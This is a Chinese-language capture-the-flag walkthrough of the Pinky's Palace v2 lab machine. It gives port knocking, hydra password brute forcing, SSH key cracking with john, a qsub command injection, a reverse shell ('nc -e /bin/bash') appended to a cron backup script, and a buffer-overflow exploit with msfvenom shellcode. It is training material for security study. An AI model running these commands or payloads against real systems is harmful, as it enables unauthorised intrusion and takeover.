一、主机发现
arp-scan -l
靶机ip为192.168.55.152
二、端口扫描、目录枚举、指纹识别
2.1端口扫描
nmap -p- 192.168.55.152
2.2目录枚举
dirb http://192.168.55.152
发现网页采用wordpress
2.3指纹识别
nmap 192.168.55.152 -sV -sC -O --version-all
三、进入靶机网页进行信息收集,拿到低权限shell
3.1域名映射
这里根据作者要求,需要进行域名映射
卡莉:
vim /etc/hosts
添加以下内容:
192.168.55.152 pinkydb
Windows中host文件在C:WindowsSystem32driversetchost,添加相同内容即可
添加完成后页面可以正常访问
点击Passione!
发现一个用户名
发现一个登陆框
尝试弱口令,发现进不去
3.2端口敲门
查看dirb爆破的目录 http://192.168.55.152/secret/,发现存在txt文件
发现三个疑似是端口号
这三个端口号在namp中没有扫描出来
补充:
端口敲门:服务器的端口在默认情况下是“关着”的,只有按特定顺序访问一系列端口(即敲门),服务器才会临时打开关键端口,比如 SSH 的 22 端口。
一共3个端口,有9中组合,搭配nmap -p-命令尝试端口敲门
export T=pinkydb #定义一个环境变量
for i in {7000,666,8890};do nc -vz $T $i;done #每次将三个端口号的顺序进行修改即可
nmap -p- 192.168.55.152 #查看端口是否开启
经过测试,端口访问顺序为7000,666,8890
3.3访问7654端口
尝试访问这几个端口,其中7654端口报错
感觉可能是配置不对,尝试将ip改为域名访问
http://pinkydb:7654/
成功出现登陆页面
使用 cewl生成对应字典
cewl http://pinkydb > 1.txt
使用cewl工具,针对该站点生成单词,尝试进行弱口令爆破
使用hydra进行弱口令爆破
hydra -L 1.txt -P 1.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"
命令解释:
-L 1.txt:-L 选项用于指定包含用户名列表的文件。这里 1.txt 文件中应包含一系列用户名,每行一个,hydra 会依次使用这些用户名进行尝试。
-P 1.txt:-P 选项用于指定包含密码列表的文件。同样是 1.txt,意味着该文件中同时包含了要尝试的密码,每行一个,hydra 会将用户名和密码进行组合,逐一尝试登录。
pinkydb:这是目标主机的标识,可以是域名或者 IP 地址。hydra 会尝试连接到这个主机进行破解操作。
-s 7654:-s 选项用于指定目标服务运行的端口号。这里表明目标服务(即 login.php 所在的服务)运行在 7654 端口。
http-post-form:指定要破解的协议和认证方式为 HTTP POST 表单认证。也就是通过向服务器发送 POST 请求来提交表单数据以尝试登录。
"/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password":
"/login.php":表示登录表单所在的 URL 路径,hydra 会向该路径发送 POST 请求。
user=^USER^&pass=^PASS^:描述了 POST 请求中表单数据的格式。^USER^ 是用户名占位符,会被 1.txt 中的实际用户名替换;^PASS^ 是密码占位符,会被 1.txt 中的实际密码替换。
F=Invalid Username or Password:F 表示失败标志,当服务器返回的响应中包含 "Invalid Username or Password" 这个字符串时,hydra 会认为本次登录尝试失败;如果不包含该字符串,就会认为登录成功。
成功爆破出账号和密码
3.4拿到低权限用户shell
登陆后获得了私钥,但是需要密码
使用ssh2john把私钥的hash提取出来
ssh2john id_rsa > id_rsa_hash
然后使用john爆破密码
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
私钥密码为 secretz101
修改私钥权限
chmod 600 id_isa
ssh登陆
ssh -i id_rsa [email protected] -p 4655
成功拿下低权限shell
四、提权
4.1靶机信息收集
进入靶机进行信息收集
uname -a
发现靶机是32位的Linux系统
进入该用户中发现有一个程序是给Pinky用户发消息的,输入密码发现不能成功发消息
发现这个程序所属组是www-data,尝试登陆www-data用户
4.2登陆pinky用户
看到登录框的url可能存在文件包含漏洞,尝试一下
成功,说明存在文件包含漏洞
尝试查看qsub文件
通过这一段代码,基本判断出密码是TERM,然后远程代码执行
TERM应该是环境变量,先查看环境变量,然后使用qsub程序试试
先在kali本地开启4444端口的监听,然后执行qsub程序进行反弹shell
./qsub '$(nc -e /bin/bash 192.168.55.129 4444)'
密码为xterm-256color
成功拿到pinky用户的shell
但是发现权限并不全是pinky用户的
使用newgrp回到默认组
4.3登陆demon用户
在pinky用户中寻找可写入文件
find / -writable ! -path '/run/*' ! -path '/lib/*' ! -path '/sys/*' ! -path '/proc/*' ! -path '/dev/*' 2>/dev/null
命令解释:
分别用于排除 /run、/lib、/sys、/proc 和 /dev 目录及其子目录下的文件和目录。
找到了一个特殊文件 /usr/local/bin/backup.sh
根据名称感觉是一个备份文件,查看文件权限
此文件是demon用户的文件,但是pinky有全部的权限,这一备份文件可能存在定时任务
可以在定时任务中插入语句进行反弹shell
echo 'nc -e /bin/bash 192.168.55.129 6666' >> /usr/local/bin/backup.sh
成功登陆demon用户
4.4缓冲区溢出提权
4.4.1溢出前准备阶段
继续搜索可写入文件
发现了panel文件
查看面板文件进程
ps -ef | grep panel
发现该文件是root权限运行的
查看该文件,发现是二进制文件
将文件传输到kali中进行调试
kali中执行:
nc -lvvp 8888 > panel
靶机中执行:
cd /daemon
nc 192.168.55.129 8888 < panel
查看端口
netstat -antlp
跟靶机打开的端口是同一个端口
关闭程序
pkill -9 panel; pkill -i panel
设置gdb, 让gdb跟踪子进程,再将父进程设置为暂停状态。
set follow-fork-mode child
set detach-on-fork off
run
4.4.2判断溢出
进行溢出
尝试
echo $(python -c "print('A' * 200)") | nc 127.0.0.1 31337
发现溢出到了handlecmd()函数中
然后使用 pkill -9 面板;pkill -i panel关闭程序
再继续进行溢出测试
将脏字符数量改为120,发现溢出到??()
将脏字符数量改为110,发现没有溢出,确定溢出范围为110-120
112时未溢出,113时溢出到main()
4.4.3寻找RIP(32位中是EIP,64位中是RIP)
这里需要下载gdb的插件peda
echo $(python -c "print('A' * 112 + 'B' * 4 + 'C' * 4 + 'D' * 4)") | nc 127.0.0.1 31337
RSP中空间较大可以调用完整的shellcode的地址
DDDD刚好位于RIP,也就是120位之后
由于堆栈遵循先进后出,所以是从下往上执行,即先执行RIP然后通过汇编语言跳转到RSP,shellcode在RSP中被执行
4.4.4查看寄存器和堆栈
jmpcall
由此知道RIP可以跳到rsp执行命令
4.4.5寻找坏字符
经过排除,没有除 x00以外的坏字符
4.4.6msf生成shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.55.129 LPORT=8888 -f python -b "x00" -a x64
将msf生成的shellcode和rsp寄存器的地址拼接
由于堆栈遵循先进后出,所以RSP地址需翻转过来,x40x0cxfb 变成xfbx0cx40x00(不够四位需要补x00)
shellcode为119位,RIP溢出在120位以后,所以在shellcode后面加一个空字符x90
echo 'x48x31xc9x48x81xe9xf6xffxffxffx48x8dx05xefxffxffxffx48xbbx3axd3x7bx13x7dxc1xf6x83x48x31x58x27x48x2dxf8xffxffxffxe2xf4x50xfax23x8ax17xc3xa9xe9x3bx8dx74x16x35x56xbex3ax38xd3x59xabxbdx69xc1x02x6bx9bxf2xf5x17xd1xacxe9x10x8bx74x16x17xc2xa8xcbxc5x1dx11x32x25xcexf3xf6xccxb9x40x4bxe4x89x4dxacx58xbax15x3cx0exa9xf6xd0x72x5ax9cx41x2ax89x7fx65x35xd6x7bx13x7dxc1xf6x83x90xfbx0cx40x00' | nc 127.0.0.1 31337
成功提权!
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):pinkyspalace v2靶机详细解答
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论